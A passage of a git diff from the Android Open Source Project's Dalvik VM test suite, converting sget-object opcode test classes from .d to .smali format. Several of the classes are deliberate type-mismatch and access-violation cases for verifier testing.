+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_object/d/T_sget_object_1;
+.super Ljava/lang/Object;
+.source "T_sget_object_1.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+.field protected static p1:Ljava/lang/Object;
+
+.field private static pvt1:Ljava/lang/Object;
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 1
+
+    const v0, 0x0
+
+    sput-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_1;->i1:Ljava/lang/Object;
+
+    const v0, 0x0
+
+    sput-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_1;->p1:Ljava/lang/Object;
+
+    const v0, 0x0
+
+    sput-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_1;->pvt1:Ljava/lang/Object;
+
+    return-void
+.end method
+
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Object;
+    .registers 3
+
+    sget-object v1, Ldot/junit/opcodes/sget_object/d/T_sget_object_1;->i1:Ljava/lang/Object;
+
+    return-object v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_11.d
deleted file mode 100644
index 54e497c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_11.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_11
-.super dot/junit/opcodes/sget_object/d/T_sget_object_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_object/d/T_sget_object_1/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       sget-object v1, dot.junit.opcodes.sget_object.d.T_sget_object_1.p1 Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_11.smali
new file mode 100644
index 0000000..e72bb6b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_11.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_11;
+.super  Ldot/junit/opcodes/sget_object/d/T_sget_object_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_object/d/T_sget_object_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       sget-object v1, Ldot/junit/opcodes/sget_object/d/T_sget_object_1;->p1:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_12.d
deleted file mode 100644
index b73c407..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_12.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_12
-.super dot/junit/opcodes/sget_object/d/T_sget_object_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_object/d/T_sget_object_1/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       sget-object v1, dot.junit.opcodes.sget_object.d.T_sget_object_1.pvt1 Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_12.smali
new file mode 100644
index 0000000..cf74579
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_12.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_12;
+.super  Ldot/junit/opcodes/sget_object/d/T_sget_object_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_object/d/T_sget_object_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       sget-object v1, Ldot/junit/opcodes/sget_object/d/T_sget_object_1;->pvt1:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_13.d
deleted file mode 100644
index 37a8cb5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_13.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_13
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-object v0, dot.junit.opcodes.sget_object.d.T_sget_object_13.i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_13.smali
new file mode 100644
index 0000000..2defde1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_13.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_13;->i1:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_14.d
deleted file mode 100644
index 1455ebd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_14.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_14.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_14
-.super java/lang/Object
-
-.field public static i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-object v0, dot.junit.opcodes.sget_object.d.T_sget_object_14.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_14.smali
new file mode 100644
index 0000000..1bba4a9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_14.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_14.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_14;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_14;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_15.d
deleted file mode 100644
index 0634476..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_15.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_15
-.super java/lang/Object
-
-.field public static i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-object v0, dot.junit.opcodes.sget_object.d.T_sget_object_15.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_15.smali
new file mode 100644
index 0000000..926ef4f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_15.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_15;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_16.d
deleted file mode 100644
index 42db7a8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_16.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_16
-.super java/lang/Object
-
-.field public static i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-object v0, dot.junit.opcodes.sget_object.d.T_sget_object_16.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_16.smali
new file mode 100644
index 0000000..70a16e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_16.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_16;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_17.d
deleted file mode 100644
index 0a3ba48..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_17.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_17
-.super java/lang/Object
-
-.field public static i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-object v0, dot.junit.opcodes.sget_object.d.T_sget_object_17.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_17.smali
new file mode 100644
index 0000000..d0bad06
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_17.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_17;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_18.d
deleted file mode 100644
index ca498f4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_18.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_18
-.super java/lang/Object
-
-.field public static i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-object v0, dot.junit.opcodes.sget_object.d.T_sget_object_18.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_18.smali
new file mode 100644
index 0000000..89b043b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_18.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_18;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_19.d
deleted file mode 100644
index dfcad9b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_19.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_19
-.super java/lang/Object
-
-.field public static i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-object v0, dot.junit.opcodes.sget_object.d.T_sget_object_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_19.smali
new file mode 100644
index 0000000..5fc2015
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_19.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_20.d
deleted file mode 100644
index 89e7bfb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_20.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_20
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-object v0, dot.junit.opcodes.sget_object.d.T_sget_object_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_20.smali
new file mode 100644
index 0000000..0d0d77e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_20.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_21.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_21.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_21.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_21.smali
new file mode 100644
index 0000000..96fdd61
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_21.smali
@@ -0,0 +1,53 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_object/d/T_sget_object_21;
+.super Ljava/lang/Object;
+.source "T_sget_object_21.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 1
+
+    new-instance v0, Ljava/lang/Object;
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+
+    sput-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_21;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
+
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/String;
+    .registers 3
+
+    sget-object v1, Ldot/junit/opcodes/sget_object/d/T_sget_object_21;->i1:Ljava/lang/String;
+
+    return-object v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_3.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_3.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_3.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_3.smali
new file mode 100644
index 0000000..29c6c9c
--- /dev/null
